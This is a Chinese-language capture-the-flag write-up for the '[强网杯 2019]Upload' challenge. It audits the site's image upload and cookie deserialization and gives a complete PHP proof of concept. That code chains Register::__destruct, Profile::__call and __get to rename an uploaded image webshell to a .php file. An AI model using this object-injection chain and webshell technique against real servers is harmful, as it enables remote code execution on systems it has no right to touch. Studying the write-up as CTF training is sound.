[强网杯 2019]Upload
www.tar.gz有他的源码,注册以后发现可以文件上传,审计一下他的文件上传功能:
将上传的文件的后缀更改为png
然后使用getimagesize检查文件头是否为图片
文件上传这里似乎没有太多机会,可能需要哪里辅助一下
这里有个反序列化函数,可以对profile进行赋值
底下有两个魔术方法:
get:读取不可访问或不存在的属性时调用
call:调用不可访问或不存在的方法时调用
看了一下其他地方发现有个destruct方法
思路整理
1.文件上传的限制在于后缀名会被强制更改为png
2.可以对cookie的值进行反序列化,会触发get、call魔术方法调用不存在的属性和方法对profile进行重新赋值操作
3.如何将profile和更换文件后缀联系在一起呢?
——————————————————————
我们可以看到在upload_img()函数中有一个copy函数,将filename_tmp的值赋给了filename。那么思路就是这样:
1.先上传一个图片马
2.然后通过cookie传入反序列化内容,其中反序列化的思路应该是这样的:
为了使用call和get方法,所以我们要调用没有的属性和方法,profile.php中没有register中的方法,所以这里就可以先写一波:
$registed=new Register(); $registed->registed=false; $registed->checker=$profiled;
|
接下来就会调用profile里面的get和call方法:
首先会调用call方法因为index方法不存在再profile类里面,因为我们的目的是利用call方法调用upload_img(),所以我们需要利用get方法对name赋值,由于get是调用不存在的属性,所以我们这里依旧是利用index来作为一个跳板置换成upload_img(),然后有几个判断是我们需要绕过的,其中包括检查ext是否为png
$profiled=new Profile(); $profiled->except=['index'=>'upload_img']; $profiled->ext="png"; $profiled->filename="/upload/7792cab172a46cd0ff2d8d7fae734ba2/8111.php"; $profiled->filename_tmp="/upload/7792cab172a46cd0ff2d8d7fae734ba2/8383c2ba7b9a26c39fbe4c61bf398ed4.php";
|
完整的poc如下
<?php class Profile { public $checker; public $filename_tmp; public $filename; public $upload_menu; public $ext; public $img; public $except;
public function __get($name) { return $this->except[$name]; }
public function __call($name, $arguments) { if ($this->{$name}) { $this->{$this->{$name}}($arguments); } } } class Register { public $checker; public $registed; public function __destruct() { if(!$this->registed){ $this->checker->index(); } } } $profiled=new Profile(); $profiled->except=['index'=>'upload_img']; $profiled->ext="png"; $profiled->filename="/upload/7792cab172a46cd0ff2d8d7fae734ba2/8111.php"; $profiled->filename_tmp="/upload/7792cab172a46cd0ff2d8d7fae734ba2/8383c2ba7b9a26c39fbe4c61bf398ed4.php";
$registed=new Register(); $registed->registed= false; $registed->checker=$profiled; echo urlencode(base64_encode(serialize($registed))); ?>
|
这是我在本地构建的,将所有用到的类整合到一个文件里面,方便进行调试查看赋值过程,否则还需要在开头再加上:
namespace app\web\controller; error_reporting(0);
|
将序列化后的内容使用cookie传入即可,前提是先上传一个文件马